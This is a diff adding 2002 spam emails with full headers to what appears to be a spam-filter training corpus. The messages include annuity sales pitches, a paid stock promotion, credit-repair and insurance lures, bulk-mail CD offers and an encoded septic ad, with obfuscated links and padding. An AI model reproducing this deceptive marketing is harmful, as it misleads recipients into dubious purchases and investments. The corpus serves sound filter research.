+1,80 @@ +From investmentalert@freenet.co.uk Mon Jun 24 17:06:06 2002 +Return-Path: investmentalert@freenet.co.uk +Delivery-Date: Thu May 23 16:52:04 2002 +Received: from cwh1.cwh.ch (mail.pixelway.com [62.112.132.193]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g4NFq3e13679 for + ; Thu, 23 May 2002 16:52:04 +0100 +Message-Id: <200205231552.g4NFq3e13679@dogma.slashnull.org> +Received: from smtp0421.mail.yahoo.com + (mailhost.hampshire.businesslink.co.uk [194.129.215.130]) by cwh1.cwh.ch + with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.1960.3) id + LP883QYF; Thu, 23 May 2002 17:43:38 +0200 +Reply-To: investmentalert@freenet.co.uk +From: investmentalert@freenet.co.uk +To: dcarlson@ontogenics.com +Subject: 3D Motion Capture +MIME-Version: 1.0 +Date: Thu, 23 May 2002 08:40:37 -0700 +X-Keywords: +Content-Type: text/html; charset="iso-8859-1" + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
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    + + diff --git a/bayes/spamham/spam_2/00435.5fcb8673ad1922e806a0505769985c69 b/bayes/spamham/spam_2/00435.5fcb8673ad1922e806a0505769985c69 new file mode 100644 index 0000000..f7e489f --- /dev/null +++ b/bayes/spamham/spam_2/00435.5fcb8673ad1922e806a0505769985c69 @@ -0,0 +1,164 @@ +From hock@EASYCALL.NET.PH Mon Jun 24 17:05:59 2002 +Return-Path: hock@EASYCALL.NET.PH +Delivery-Date: Thu May 23 13:35:10 2002 +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g4NCZ8e04279; + Thu, 23 May 2002 13:35:10 +0100 +Received: from poczta.deserek.pl ([212.160.106.82]) by webnote.net + (8.9.3/8.9.3) with ESMTP id MAA27173; Thu, 23 May 2002 12:08:41 +0100 +Received: from exchange.sdt.dep.NO (po72.knurow.sdi.tpnet.pl + [217.98.195.72]) by poczta.deserek.pl (8.11.4/8.11.4) with ESMTP id + g4NAfgv18513; Thu, 23 May 2002 12:41:47 +0200 +Message-Id: <00001b0e407c$00000962$00003222@exchange.sdt.dep.NO> +To: +From: "Telcom center" +Subject: Minimize your phone expenses +Date: Thu, 23 May 2002 04:05:34 -1900 +MIME-Version: 1.0 +X-Mailer: Microsoft Outlook Express +X-Keywords: +Content-Type: text/html; charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + +New Web Technology + + + +

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    + + diff --git a/bayes/spamham/spam_2/00436.9fc1d953c6a282c5b66e4ed1cf1b866f b/bayes/spamham/spam_2/00436.9fc1d953c6a282c5b66e4ed1cf1b866f new file mode 100644 index 0000000..a21a7f0 --- /dev/null +++ b/bayes/spamham/spam_2/00436.9fc1d953c6a282c5b66e4ed1cf1b866f @@ -0,0 +1,233 @@ +From gsl@insurancemail.net Mon Jun 24 17:06:12 2002 +Return-Path: gsl@insurancemail.net +Delivery-Date: Fri May 24 01:43:17 2002 +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g4O0hHe08309 for + ; Fri, 24 May 2002 01:43:17 +0100 +Received: from insurance-mail.insuranceiq.com (host66.insuranceiq.com + [65.217.159.66] (may be forged)) by webnote.net (8.9.3/8.9.3) with ESMTP + id BAA28160 for ; Fri, 24 May 2002 01:43:00 +0100 +Received: from mail pickup service by insurance-mail.insuranceiq.com with + Microsoft SMTPSVC; Thu, 23 May 2002 19:39:13 -0400 +Subject: Roth conversions = jumbo annuity sale +To: +Date: Thu, 23 May 2002 19:39:13 -0400 +From: "Senior Selling" +Message-Id: <2885ef01c202b3$0bb8fef0$6701a8c0@insuranceiq.com> +MIME-Version: 1.0 +X-Mailer: Microsoft CDO for Windows 2000 +Thread-Index: AcICmFP0KieyfrHkR96IbMfGU/lViQ== +X-Mimeole: Produced By Microsoft MimeOLE V5.50.4522.1200 +Content-Class: urn:content-classes:message +X-Originalarrivaltime: 23 May 2002 23:39:13.0917 (UTC) FILETIME=[0BBD92D0:01C202B3] +X-Keywords: +Content-Type: multipart/alternative; boundary="----=_NextPart_000_268694_01C20276.CCE3E8C0" + +This is a multi-part message in MIME format. + +------=_NextPart_000_268694_01C20276.CCE3E8C0 +Content-Type: text/plain; + charset="Windows-1252" +Content-Transfer-Encoding: 7bit + + What good is a great concept (Roth conversion) without a turnkey system +to sell it? + + + + +Introducing the Roth Conversion turnkey selling system + +Our top producing roth conversion agent (sold 10 jumbo annuities, 200k +sales with 14%+ commissions) has shared with us his secrets of selling +the roth conversion concept. Per his input, we have created the roth +conversion "turnkey sales process". + +The system includes client postcards, client brochures, a client +worksheet (perfect for introducing the roth conversion program), a full +marketing presentation, etc. If he can do it, so can you! + +To join us for the brand new "sales presentation" teleconference, call +in Monday, Wednesday or Friday at 12:00 noon Pacific/3 p.m. Eastern at: + 702-579-4902 + + +To find out more about the content of the call complete the form below +and you will be immediately directed to the "conference call" page. + +First Name: +Last Name: Note that when you press the "Send Information" +button the screen may not change, but we will still receive your +information and get back to you. Another way to order our sample +presentation is to visit our website at www.gsladvisory.com/froco + . +E-Mail: +Phone#: + + + GSL Advisory + + + +These materials are for "agent use only". You should be a practicing, +licensed and appointed annuity agent to order this information. + +We don't want anyone to receive our mailings who does not wish to. This +is professional communication sent to insurance professionals. To be +removed from this mailing list, DO NOT REPLY to this message. Instead, +go here: http://www.Insurancemail.net + +Legal Notice + +------=_NextPart_000_268694_01C20276.CCE3E8C0 +Content-Type: text/html; + charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + + + +Roth conversions =3D jumbo annuity sales + + + + +
    All information g= +iven herein is strictly confidential and will not be re-distributed + for any reason other than for the specific use intended.<= +br> + To be removed from our distribution lists, please + Cl= +ick + here..
    + =20 + + + =20 + + + =20 + + + =20 + + + =20 + + =20 + + +
    3D"What
    =20 + =20 +

    + Introducing the Roth Conversion turnkey = +selling system

    +

    Our top producing roth conversion agent (sold 10 jumbo = +annuities,=20 + 200k sales with 14%+ commissions) has shared with us his = +secrets of=20 + selling the roth conversion concept. Per his input, we have = +created the=20 + roth conversion "turnkey sales process".

    +

    The system includes client postcards, client brochures, a = +client worksheet=20 + (perfect for introducing the roth conversion program), a full = +marketing=20 + presentation, etc. If he can do it, so can you!

    +

    To join us for the brand new "sales = +presentation"=20 + teleconference, call in Monday, Wednesday or Friday at 12:00 = +noon Pacific/3=20 + p.m. Eastern at:
    + 3D"702-579-4902"=20 +

    +     +
    +
    + To find out more about the content of the call complete the form = +below
    + and you will be immediately directed to the "conference = +call" page. + + + + =20 + + + + + =20 + + + + + =20 + + + + =20 + + + + + +
    First Name:=20 + + =20 + +
    Last Name:=20 + + Note that=20 + when you press the "Send Information" = +button the=20 + screen may not change, but we will still receive = +your information=20 + and get back to you. Another way to order our sample = +presentation=20 + is to visit our website at www.gsladvisory.com/froco.<= +/font>
    E-Mail:=20 + +
    Phone#:=20 + +
    +       +
    + 3D"GSL

    +

    These materials are for "agent use only". You should be a = +practicing, licensed and appointed annuity agent to order this = +information.

    +
    =20 +

    We = +don't want anyone=20 + to receive our mailings who does not wish to. This is = +professional communication=20 + sent to insurance professionals. To be removed from this mailing = +list,=20 + DO NOT REPLY to this message. Instead, go here: =20 + http://www.Insurancemail.net

    +
    +

    + Legal Notice=20 +
    + + + +------=_NextPart_000_268694_01C20276.CCE3E8C0-- diff --git a/bayes/spamham/spam_2/00437.a88b8673cb52537e09bc37a163c1635f b/bayes/spamham/spam_2/00437.a88b8673cb52537e09bc37a163c1635f new file mode 100644 index 0000000..ae4781f --- /dev/null +++ b/bayes/spamham/spam_2/00437.a88b8673cb52537e09bc37a163c1635f @@ -0,0 +1,81 @@ +From one5367178543@netscape.com Mon Jun 24 17:06:16 2002 +Return-Path: one5367@netscape.com +Delivery-Date: Fri May 24 14:14:50 2002 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g4ODEje06442 for + ; Fri, 24 May 2002 14:14:46 +0100 +Received: from exchange.siempre.com.mx + (na-148-243-255-185.na.avantel.net.mx [148.243.255.185] (may be forged)) + by mandark.labs.netnoteinc.com (8.11.2/8.11.2) with ESMTP id g4ODEd707856 + for ; Fri, 24 May 2002 14:14:41 +0100 +Message-Id: <200205241314.g4ODEd707856@mandark.labs.netnoteinc.com> +Received: from HEWLETT-0CC4EA6 (w142.z066089025.chi-il.dsl.cnc.net + [66.89.25.142]) by exchange.siempre.com.mx with SMTP (Microsoft Exchange + Internet Mail Service Version 5.5.2653.13) id LQ568SQF; Fri, + 24 May 2002 00:39:36 -0500 +Reply-To: one5367@netscape.com +From: one5367178543@netscape.com +To: yyyy@mvslaser.com +Cc: yyyy@netnoteinc.com, yyyy@oyyyynet.com +Subject: breaking news: e-mail & fax marketing works +MIME-Version: 1.0 +Date: Fri, 24 May 2002 00:41:19 -0500 +X-Keywords: +Content-Type: text/html; charset="iso-8859-1" + + + + + + +
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    + + + diff --git a/bayes/spamham/spam_2/00438.cf76c0c71830d5e8ddec01a597f149a5 b/bayes/spamham/spam_2/00438.cf76c0c71830d5e8ddec01a597f149a5 new file mode 100644 index 0000000..d1b3795 --- /dev/null +++ b/bayes/spamham/spam_2/00438.cf76c0c71830d5e8ddec01a597f149a5 @@ -0,0 +1,31 @@ +From ecredit356281@yahoo.com Mon Jun 24 17:06:15 2002 +Return-Path: ecredit356281@yahoo.com +Delivery-Date: Fri May 24 12:54:28 2002 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g4OBsSe02555 for + ; Fri, 24 May 2002 12:54:28 +0100 +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + mandark.labs.netnoteinc.com (8.11.2/8.11.2) with ESMTP id g4OBsR707391 for + ; Fri, 24 May 2002 12:54:27 +0100 +Received: from 211.252.172.129 (IDENT:nobody@[211.253.100.253]) by + webnote.net (8.9.3/8.9.3) with SMTP id HAA28713 for ; + Fri, 24 May 2002 07:03:02 +0100 +Message-Id: <200205240603.HAA28713@webnote.net> +From: James +To: Undisclosed.Recipients@webnote.net +Cc: +Subject: Clear Up Your Credit Online +Sender: James +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Date: Fri, 24 May 2002 01:09:38 -0500 +X-Mailer: Microsoft Outlook Express 6.00.2600.0000 +X-Keywords: + + Do you have bad credit and want to have good credit? + +You can now access and clear up your credit online! + +Watch your credit improve daily with real time credit updates + +http://www.webcredit2002.com/?CID=1080&MID=12600 diff --git a/bayes/spamham/spam_2/00439.eacffbae5543e6be58178c0d3eb95041 b/bayes/spamham/spam_2/00439.eacffbae5543e6be58178c0d3eb95041 new file mode 100644 index 0000000..97ca9d3 --- /dev/null +++ b/bayes/spamham/spam_2/00439.eacffbae5543e6be58178c0d3eb95041 @@ -0,0 +1,50 @@ +From bannedcd@btamail.net.cn Mon Jun 24 17:06:10 2002 +Return-Path: bannedcd@btamail.net.cn +Delivery-Date: Thu May 23 21:42:30 2002 +Received: from exchange.elite-adv.com ([213.42.109.18]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g4NKgQe25586 for + ; Thu, 23 May 2002 21:42:29 +0100 +Received: from btamail.net.cn (212-88-188-148.ADSL.ycn.com + [212.88.188.148]) by exchange.elite-adv.com with SMTP (Microsoft Exchange + Internet Mail Service Version 5.5.2653.13) id LP3YS7LQ; Fri, + 24 May 2002 00:28:01 +0400 +Message-Id: <00002ec00b0e$00006222$000065b8@btamail.net.cn> +To: +From: bannedcd@btamail.net.cn +Subject: BULKER CD! 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To Be Removed From Our List, http://%77%77%77%2E%62a%6E%6E%65%64c%64%2E%6E%65%74/remove.html + diff --git a/bayes/spamham/spam_2/00440.cefb7176fea7baf69c5e9d8b2f1a2b54 b/bayes/spamham/spam_2/00440.cefb7176fea7baf69c5e9d8b2f1a2b54 new file mode 100644 index 0000000..d7530e8 --- /dev/null +++ b/bayes/spamham/spam_2/00440.cefb7176fea7baf69c5e9d8b2f1a2b54 @@ -0,0 +1,57 @@ +From customerservice2217p83@spc.com Mon Jun 24 17:06:15 2002 +Return-Path: customerservice2217p83@spc.com +Delivery-Date: Fri May 24 12:51:52 2002 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g4OBppe02478 for + ; Fri, 24 May 2002 12:51:52 +0100 +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + mandark.labs.netnoteinc.com (8.11.2/8.11.2) with ESMTP id g4OBpn707159; + Fri, 24 May 2002 12:51:50 +0100 +Received: from spc.com ([61.157.184.30]) by webnote.net (8.9.3/8.9.3) with + SMTP id LAA29455; Fri, 24 May 2002 11:05:52 +0100 +Date: Fri, 24 May 2002 11:05:52 +0100 +From: customerservice2217p83@spc.com +Received: from unknown (HELO rly-xw01.mx.aol.com) (159.71.127.204) by + mx.rootsystems.net with asmtp; Fri, 24 May 2002 06:00:52 +0400 +Received: from hd.regsoft.net ([80.144.94.210]) by mx.rootsystems.net with + local; 24 May 2002 18:57:14 -0900 +Received: from 185.104.91.152 ([185.104.91.152]) by + mailout2-eri1.midsouth.rr.com with smtp; 24 May 2002 01:53:37 +0800 +Received: from [7.173.21.161] by n7.groups.yahoo.com with esmtp; + Thu, 23 May 2002 23:50:00 +1000 +Received: from [4.36.100.174] by mail.gmx.net with QMQP; Fri, + 24 May 2002 18:46:23 -0900 +Reply-To: +Message-Id: <008c65b83edb$7278b6d7$1bd55bb5@karxxy> +To: Septic.Tank.Owner@webnote.net +Subject: Helpful Septic Tank Information 1111BUho3-485kzvl3295UeXZ5-901JGl30 +MIME-Version: 1.0 +X-Priority: 3 (Normal) +X-Msmail-Priority: Normal +X-Mailer: AOL 7.0 for Windows US sub 118 +Importance: Normal +X-Keywords: +Content-Type: multipart/mixed; boundary="----=_NextPart_000_00D1_42B32C7D.B8655D52" + +------=_NextPart_000_00D1_42B32C7D.B8655D52 +Content-Type: text/plain; charset="iso-8859-1" +Content-Transfer-Encoding: base64 + +SWYgeW91ciBob21lIGlzIHNlcnZlZCBieSBhIHNlcHRpYyBzeXN0ZW0sIHlv +dSB3aWxsIGJlIGFibGUgdG8gcmVjZWl2ZQ0KaW52YWx1YWJsZSBpbmZvcm1h +dGlvbiBvbiBob3cgdG8gZWxpbWluYXRlIHB1bXAgb3V0cywgbWFpbnRhaW4g +dGhlDQpzeXN0ZW0gcHJvcGVybHkgYW5kIGN1cmUgcHJvYmxlbXMgc3VjaCBh +cyBiYWNrdXBzLCB3ZXQgc3BvdHMsIG9kb3IsIGV0Yy4NCg0KWW91IGNhbiBk +byB0aGlzIGJ5IGNoZWNraW5nIG91dCBvdXIgU1BDIHByb2dyYW0gYXQ6DQoN +Cmh0dHA6Ly93d3cuYmxhY2tzbm93Y2xvdWQuY29tDQoNCkluIGFkZGl0aW9u +LCB5b3Ugd2lsbCBoYXZlIHRoZSBvcHBvcnR1bml0eSB0byBwYXJ0aWNpcGF0 +ZSBpbiBhIGZyZWUNCnRyaWFsIHRvIHRlc3QgdGhlIGVmZmVjdGl2ZW5lc3Mg +b2YgU1BDLg0KDQpQbGVhc2UgY2hlY2sgdXMgb3V0Lg0KDQpUaGFuayB5b3Uu +DQoNClNpbmNlcmVseSwNCg0KU1BDDQoNClAuUy4gUmVtZW1iZXIsIHlvdSBt +dXN0IGNsaWNrIG9uIHRoaXMgbGluayB0byByZWNlaXZlIHRoaXMgaGVscGZ1 +bA0KaW5mb3JtYXRpb24hDQoNCmh0dHA6Ly93d3cuYmxhY2tzbm93Y2xvdWQu +Y29tDQoNCg0KDQpUbyBiZSByZW1vdmVkIGZyb20gb3VyIGVtYWlsIGxpc3Qg +cGxlYXNlIGNsaWNrIG9uIHRoZSBsaW5rIGJlbG93Lg0KaHR0cDovL3d3dy5i +bGFja3Nub3djbG91ZC5jb20vcmVtb3ZlLmh0bWwNCg0KNzEyM3JLUko5LTI4 +NHpvV1Q5MzIyT1FKcDktMTg3TUNXbzg4NzhWWmxKNy0zNzl5bDQ1DQo= + diff --git a/bayes/spamham/spam_2/00441.3b9c3055e08bda4c0f7eea43749e324c b/bayes/spamham/spam_2/00441.3b9c3055e08bda4c0f7eea43749e324c new file mode 100644 index 0000000..334682e --- /dev/null +++ b/bayes/spamham/spam_2/00441.3b9c3055e08bda4c0f7eea43749e324c @@ -0,0 +1,110 @@ +From Marlene8582x31@godisenga.com Mon Jun 24 17:06:33 2002 +Return-Path: Marlene8582x31@godisenga.com +Delivery-Date: Sat May 25 07:40:27 2002 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g4P6eQe20631 for + ; Sat, 25 May 2002 07:40:27 +0100 +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + mandark.labs.netnoteinc.com (8.11.2/8.11.2) with ESMTP id g4P6eO711820 for + ; Sat, 25 May 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director@thk.jtb.co.jp +Delivery-Date: Fri May 24 12:47:44 2002 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g4OBlae02377 for + ; Fri, 24 May 2002 12:47:37 +0100 +Received: from tomts8-srv.bellnexxia.net (tomts8.bellnexxia.net + [209.226.175.52]) by mandark.labs.netnoteinc.com (8.11.2/8.11.2) with + ESMTP id g4OBlR706996; Fri, 24 May 2002 12:47:28 +0100 +Received: from jtbmail.jtb.co.jp ([65.92.55.78]) by + tomts8-srv.bellnexxia.net (InterMail vM.5.01.04.19 + 201-253-122-122-119-20020516) with SMTP id + <20020524114444.HOHY14183.tomts8-srv.bellnexxia.net@jtbmail.jtb.co.jp>; + Fri, 24 May 2002 07:44:44 -0400 +Reply-To: +From: "BARBARA" +To: "," <0237@globix.net> +Subject: Sorry they were in a meeting +MIME-Version: 1.0 +Message-Id: <20020524114444.HOHY14183.tomts8-srv.bellnexxia.net@jtbmail.jtb.co.jp> +Date: Fri, 24 May 2002 07:44:44 -0400 +X-Keywords: +Content-Type: text/html; charset="iso-8859-1" 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      <= +BR>

      +Information within this advertisement contains =22forward looking=22 stat= +ements within the meaning of Section 27(a) of the U.S. Securities Act of= + 1933 and Section 21(e) of the U.S. Securities Exchange Act of 1934. Any= + statements that express or involve discussions with respect to predicti= +ons, expectations, beliefs, plans, projections, objectives, goals, assum= +ptions or future events or performance are not statements of historical = +facts and may be forward looking statements. Forward looking statements = +are based on expectations, estimates and projections at the time the sta= +tements are made that involve a number of risks and uncertainties which = +could cause actual results or events to differ materially from those pre= +sently anticipated. Forward looking statements may be identified through= + the use of words such as expects, will, anticipates, estimates, believe= +s, or by statements indicating certain actions may, could or might occur= +. Special Situation Alerts (SSA) is an independent publication and has b= +een paid 125,000 free trading shares of GWIH for this publication. SSA a= +nd/or its Affiliates or agents may at any time after receipt of compensa= +tion in Stock sell all or part of the stock received into the open marke= +t at the time of receipt or immediately after it has profiled a particul= +ar company. SSA is not a registered investment advisor or a broker deale= +r. Be advised that the investments in companies profiled are considered = +to be high risk and use of the information provided is at the investor's= + sole risk and may result in the loss of some or all of the investment. = +All information is provided by the companies profiled and SSA makes no r= +epresentations, warranties or guarantees as to the accuracy or completen= +ess of the disclosure by the profiled companies. Investors should NOT re= +ly on the information presented. Rather, investors should use this infor= +mation as a starting point for doing additional independent research to = +allow the investor to form his or her own opinion regarding investing in= + profiled companies. Factual statements as of the date stated and are su= +bject to change without notice.
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Conversion on these products is now available for the duration of +the guaranteed level premium period, or up to attained age 70, whichever +comes first. + (This includes the OPTerm 30!) + + These 2 positive changes make Banner Life an Industry leader in +the term market. If you'd like to see for yourself just how competitive +they are... + +CLICK HERE TO RUN YOUR OWN QUOTE + + +800.683.3077 ext 0 - OR Email rblanco@d-u-s.com + +For Broker and Broker Dealer Use Only - Not for use with the General +Public. Products not available in all states. This is a general account +non-variable product * + +http://www.d-u-s.com +We don't want anybody to receive our mailings who does not wish to +receive them. This is professional communication sent to insurance +professionals. To be removed from this mailing list, DO NOT REPLY to +this message. Instead, go here: http://www.Insurancemail.net + +Legal Notice + + +------=_NextPart_000_2AD835_01C20333.3B11C170 +Content-Type: text/html; + charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + + + +Banner Life Upgraded to A++ + + + + + =20 + + +
    =20 +


    + 3D"BANNER

    + 3D"AM

    +

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    =20 + +

    + Effective February 8, = +2002
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    +

    These 2 positive = +changes make Banner Life + an Industry leader in the term market. If you'd like to see = +for yourself just=20 + how competitive they are...

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    + For=20 + Broker and Broker Dealer Use Only - Not for use with the General = +Public.=20 + Products not available in all states. This is a general account = +non-variable=20 + product *

    +


    + + We don't want anybody to receive our mailings who does=20 + not wish to receive them. This is professional communication=20 + sent to insurance professionals. To be removed from this mailing = +list,=20 + DO NOT REPLY to this message. Instead, go here: http://www.Insurancemail.net
    + Legal Notice    =20 +

    +
    + + + +------=_NextPart_000_2AD835_01C20333.3B11C170-- diff --git a/bayes/spamham/spam_2/00448.65d06c45ea553e3fddf51645ae6b07f0 b/bayes/spamham/spam_2/00448.65d06c45ea553e3fddf51645ae6b07f0 new file mode 100644 index 0000000..e6231c3 --- /dev/null +++ b/bayes/spamham/spam_2/00448.65d06c45ea553e3fddf51645ae6b07f0 @@ -0,0 +1,41 @@ +From fast91gi@pac20.westernbarge.com Mon Jun 24 17:06:30 2002 +Return-Path: fast91gi@pac20.westernbarge.com +Delivery-Date: Sat May 25 03:18:00 2002 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g4P2I0e12067 for + ; Sat, 25 May 2002 03:18:00 +0100 +Received: from pac20.westernbarge.com ([67.96.136.20]) by + mandark.labs.netnoteinc.com (8.11.2/8.11.2) with ESMTP id g4P2Hv710859 for + ; Sat, 25 May 2002 03:17:58 +0100 +Date: Fri, 24 May 2002 19:21:03 -0400 +Message-Id: <200205242321.g4ONL3L25639@pac20.westernbarge.com> +From: fast91gi@pac20.westernbarge.com +To: qdqwawstrl@pac20.westernbarge.com +Reply-To: fast91gi@pac20.westernbarge.com +Subject: ADV: Low Cost Life Insurance -- FREE Quote aaqnf +X-Keywords: + +Low-Cost Term-Life Insurance! +SAVE up to 70% or more on your term life insurance policy now. + +Male age 40 - $250,000 - 10 year level term - as low as $11 per month. + +CLICK HERE NOW For your FREE Quote! +http://hey11.heyyy.com/insurance/ + +If you haven't taken the time to think about what you are paying for life insurance...now is the time!!! + +We offer the lowest rates available from nationally recognized carriers. + +Act now and pay less! +CLICK HERE +http://hey11.heyyy.com/insurance/ + + + +++++++++++++++++++++++++++++ +Simple Removal instructions: +To be removed from our in-house list simply visit +http://hey11.heyyy.com/removal/remove.htm +Enter your email addresses to unsubscribe. + diff --git a/bayes/spamham/spam_2/00449.c498bdd182edba9e9ba725c5a5a1f06b b/bayes/spamham/spam_2/00449.c498bdd182edba9e9ba725c5a5a1f06b new file mode 100644 index 0000000..32028bb --- /dev/null +++ b/bayes/spamham/spam_2/00449.c498bdd182edba9e9ba725c5a5a1f06b @@ -0,0 +1,59 @@ +From malalad@mail.ru Mon Jun 24 17:06:29 2002 +Return-Path: malalad@mail.ru +Delivery-Date: Fri May 24 21:34:32 2002 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g4OKYVe24671 for + ; Fri, 24 May 2002 21:34:32 +0100 +Received: from imail.infomatika.com (ns2.infomatika.com [216.119.165.62]) + by mandark.labs.netnoteinc.com (8.11.2/8.11.2) with ESMTP id g4OKYR710080; + Fri, 24 May 2002 21:34:30 +0100 +Received: from 24.55.128.132 [193.251.78.214] by imail.infomatika.com + (SMTPD32-7.10) id A030300138; Fri, 24 May 2002 15:18:56 -0500 +Message-Id: <000053a21c3c$00006740$000067bc@24.55.128.132> +To: +From: "Sammy Dorn" +Subject: 6 Figures from homeBCUTP +Date: Fri, 24 May 2002 14:35:24 -1600 +MIME-Version: 1.0 +X-Priority: 1 +X-Mailer: Microsoft Outlook, Build 10.0.3416 +X-Msmail-Priority: High +X-Keywords: +Content-Type: text/html; charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + +
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    + + + + + + + diff --git a/bayes/spamham/spam_2/00451.bbff6de62f0340d64a044870dbedafba b/bayes/spamham/spam_2/00451.bbff6de62f0340d64a044870dbedafba new file mode 100644 index 0000000..dd067c3 --- /dev/null +++ b/bayes/spamham/spam_2/00451.bbff6de62f0340d64a044870dbedafba @@ -0,0 +1,34 @@ +From hgh4616@eudoramail.com Mon Jun 24 17:06:34 2002 +Return-Path: hgh4616@eudoramail.com +Delivery-Date: Sat May 25 12:46:23 2002 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g4PBkKe29214 for + ; Sat, 25 May 2002 12:46:21 +0100 +Received: from mail.pas2.ne.jp ([211.123.25.250]) by + mandark.labs.netnoteinc.com (8.11.2/8.11.2) with SMTP id g4PBkH712575 for + ; Sat, 25 May 2002 12:46:18 +0100 +Message-Id: <200205251146.g4PBkH712575@mandark.labs.netnoteinc.com> +Received: (qmail 30644 invoked from network); 25 May 2002 20:31:12 +0900 +Received: from localhost (HELO smtp0732.mail.yahoo.com) (127.0.0.1) by + localhost with SMTP; 25 May 2002 20:31:12 +0900 +Date: Sat, 25 May 2002 19:32:23 +0800 +From: "Tim Thompson" +X-Priority: 3 +To: yyyy@netnoteinc.com +Cc: yyyy@nlgi.demon.co.uk, yyyy@normanrockwellvt.com, yyyy@ns.sol.net, + jm@onstott.com +Subject: yyyy,Do You Know the HGH Differences ? +MIME-Version: 1.0 +X-Keywords: +Content-Type: text/html; charset=us-ascii +Content-Transfer-Encoding: 7bit + + +
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    Copyright © 2002 - Reselling Partner ID# 1067 - *4 page limit
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; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; 